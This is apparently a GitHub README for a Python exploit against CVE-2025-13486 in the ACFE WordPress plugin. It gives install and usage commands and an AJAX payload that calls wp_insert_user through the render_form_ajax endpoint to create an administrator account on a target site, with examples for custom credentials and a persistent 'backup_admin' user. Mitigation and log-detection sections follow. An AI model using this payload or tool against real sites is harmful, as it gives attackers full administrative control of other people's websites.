## ๐ง Features
### **๐ Verification Mode**
- Nonce extraction from WordPress pages
- Vulnerability confirmation using `print_r` function
- Safe verification without exploitation
- Multiple pattern matching for nonce detection
### **โก Exploitation Mode**
- Administrative user creation via `wp_insert_user`
- Custom or randomly generated credentials
- Support for custom usernames, passwords, and emails
- Response analysis for success indicators
### **๐ ๏ธ Technical Features**
- Automatic protocol detection (HTTP/HTTPS)
- Color-coded terminal output
- SSL verification bypass for testing environments
- Detailed error reporting and debugging
- Session timeout and connection handling
## ๐ฆ Installation
### **Requirements**
- Python 3.6+
- `requests` library
### **Setup**
```bash
# Clone repository
git clone https://github.com/0xgh057r3c0n/CVE-2025-13486.git
cd CVE-2025-13486
# Install dependencies
pip install requests
# Alternative: Install from requirements.txt
pip install -r requirements.txt
# Make script executable (Linux/Mac)
chmod +x exploit.py
```
### **Dependencies**
Create a `requirements.txt` file:
```txt
requests>=2.25.1
```
## ๐ Usage
### **Basic Syntax**
```bash
python3 exploit.py --url [OPTIONS]
```
### **Examples**
#### **1. Verify Vulnerability Only (Safe Testing)**
```bash
python3 exploit.py --url http://target.com --verify
```
#### **2. Exploit with Random Credentials**
```bash
python3 exploit.py --url https://target.com
```
#### **3. Exploit with Custom Credentials**
```bash
python3 exploit.py --url https://target.com \
--user backup_admin \
--password "P@ssw0rd123!" \
--email admin-backup@target.com
```
#### **4. Target without Protocol (Auto-detect)**
```bash
python3 exploit.py --url target.com --verify
```
### **Command Line Options**
| Option | Description | Required | Default |
|--------|-------------|----------|---------|
| `-u, --url` | Target WordPress URL | **Yes** | - |
| `--verify` | Verify only, no exploitation | No | False |
| `--user` | Custom username for admin | No | `admin_XXXXX` |
| `--password` | Custom password for admin | No | Random 12 chars |
| `--email` | Custom email for admin | No | `username@example.com` |
## ๐งช How It Works
### **1. Vulnerability Mechanism**
The exploit leverages improper function handling in the ACFE plugin's `acfe/form/render_form_ajax` endpoint, allowing attackers to call arbitrary PHP functions.
### **2. Technical Flow**
```
1. URL Validation โ Auto-detects HTTP/HTTPS
2. Nonce Extraction โ Scans page for ACF nonce
3. Payload Construction โ Builds malicious AJAX request
4. Request Execution โ Sends exploit to target
5. Result Analysis โ Checks for success indicators
```
### **3. Exploit Payload**
```php
// Vulnerable code pattern in ACFE
$result = call_user_func_array($form['render'], array($form));
// Exploit payload structure
{
"action": "acfe/form/render_form_ajax",
"nonce": "extracted_nonce",
"form[render]": "wp_insert_user",
"form[user_login]": "attacker_user",
"form[user_pass]": "attacker_pass",
"form[user_email]": "attacker@email.com",
"form[role]": "administrator"
}
```
## ๐ก๏ธ Mitigation
### **Immediate Actions**
1. **Update Plugin**: Immediately update ACFE plugin to latest version
2. **Remove Plugin**: If update not available, temporarily disable ACFE
3. **Web Application Firewall**: Deploy WAF rules to block malicious requests
4. **Monitoring**: Monitor for suspicious admin user creation
### **WordPress Security Hardening**
```bash
# Recommended security plugins
1. Wordfence Security
2. Sucuri Security
3. iThemes Security
4. All In One WP Security
# Server-level protections
- Implement rate limiting
- Enable mod_security rules
- Use Cloudflare or similar CDN
- Regular security audits
```
## ๐ Detection
### **Indicators of Compromise (IOCs)**
- Unauthorized admin user creation
- Suspicious AJAX requests to `/wp-admin/admin-ajax.php`
- Requests with `action=acfe/form/render_form_ajax`
- Unexpected `wp_insert_user` function calls via AJAX
### **Log Monitoring**
```bash
# Apache logs
grep "admin-ajax.php" /var/log/apache2/access.log | grep "acfe/form"
# WordPress debug logs
define('WP_DEBUG', true);
define('WP_DEBUG_LOG', true);
```
